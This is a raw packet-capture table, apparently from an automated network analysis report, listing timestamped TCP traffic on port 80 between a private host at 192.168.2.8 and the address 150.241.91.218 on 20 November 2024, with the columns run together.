                                                                                                                                                              Nov 20, 2024 11:21:17.641180038 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.641247034 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641259909 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641294956 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641305923 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641309023 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.641339064 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.641463041 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641508102 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.647860050 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.647945881 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.647955894 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.647988081 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.647998095 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.648000956 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.648011923 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.648057938 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.648073912 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.648103952 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.648113966 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.648142099 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.652770996 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652805090 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652816057 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652864933 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.652935028 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652945995 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652961969 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.652977943 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.652993917 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.653327942 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658760071 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658771992 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658782959 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658795118 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658807993 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.658813953 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.658849955 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.659275055 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.659292936 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.659329891 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.661916018 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.661928892 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.661971092 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.661986113 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.661998034 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.662009001 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.662048101 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.662081003 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.662117004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.662549019 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.666254997 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.666264057 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.666275978 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.666369915 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:19.981432915 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:19.989070892 CET8049719150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:19.989167929 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:19.989514112 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:19.989514112 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:19.994429111 CET8049719150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:19.994442940 CET8049719150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:20.708738089 CET8049719150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:20.758779049 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:20.929913998 CET4971980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.945434093 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.953640938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.953752995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.953918934 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.955244064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.962878942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.962979078 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.965835094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.965909004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.966588020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966736078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966746092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966761112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966799974 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.966862917 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966873884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966882944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.966938019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.966995955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.967276096 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.972182989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.972357035 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.974642038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.974737883 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.974769115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.974884987 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.975567102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.975717068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.975727081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:44.975739002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:44.975810051 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.017816067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.017895937 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.068413019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.068511963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.120959997 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.121051073 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.171545029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.171622992 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.227570057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.227626085 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.278081894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.278202057 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.327029943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.328059912 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.384268999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.384394884 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.427947044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.428072929 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.437627077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437638044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437647104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437655926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437665939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437683105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437691927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437700987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437709093 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437717915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437726974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437735081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.437777042 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.437777042 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.438071012 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.438080072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438093901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438103914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438107967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438117027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438119888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438123941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.438211918 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.445740938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.445789099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.445804119 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.445861101 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.445874929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446110964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446120977 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446185112 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.446203947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446423054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446432114 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446435928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446497917 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.446562052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446571112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.446631908 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.454962015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.454977036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455125093 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.455147028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455240965 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.455267906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455279112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455287933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455353975 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.455595016 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455662012 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.455784082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455796957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455810070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.455847979 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.456038952 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.456212997 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456331968 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.456507921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456520081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456604004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.456624985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456636906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456645966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456655025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456667900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456676960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456686020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.456748009 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460596085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460611105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460630894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460640907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460659981 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460669041 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460685015 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460715055 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460715055 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460735083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460745096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460756063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460766077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460776091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460807085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460814953 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460814953 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460815907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460828066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460830927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460853100 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.460864067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.460992098 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461009026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461023092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461033106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461042881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461051941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461061001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461108923 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461108923 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461179972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461190939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461390972 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461406946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461417913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461488008 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461500883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461553097 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461743116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461752892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461771011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461780071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461791039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461793900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461815119 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461826086 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461836100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461855888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461865902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461899042 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461924076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461930037 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461935043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461965084 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461976051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.461981058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.461988926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.462007999 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.462162018 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.462188959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.462348938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.462546110 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.462558031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.462567091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.462624073 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.468590021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468615055 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468625069 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468702078 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.468816042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468825102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468835115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468843937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.468854904 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.468892097 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.468928099 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469048023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469058037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469068050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469078064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469110012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469161034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469170094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469243050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469253063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469260931 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469271898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469271898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469271898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469305038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469305038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469397068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469408035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469418049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469427109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469435930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469439030 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469480038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469480038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469537020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469547033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469557047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469566107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469579935 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469588995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469597101 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469605923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469614029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469623089 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469623089 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469647884 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469671965 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469683886 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469731092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469742060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469752073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469760895 CET8049799150.241.91.218192.168.2.8
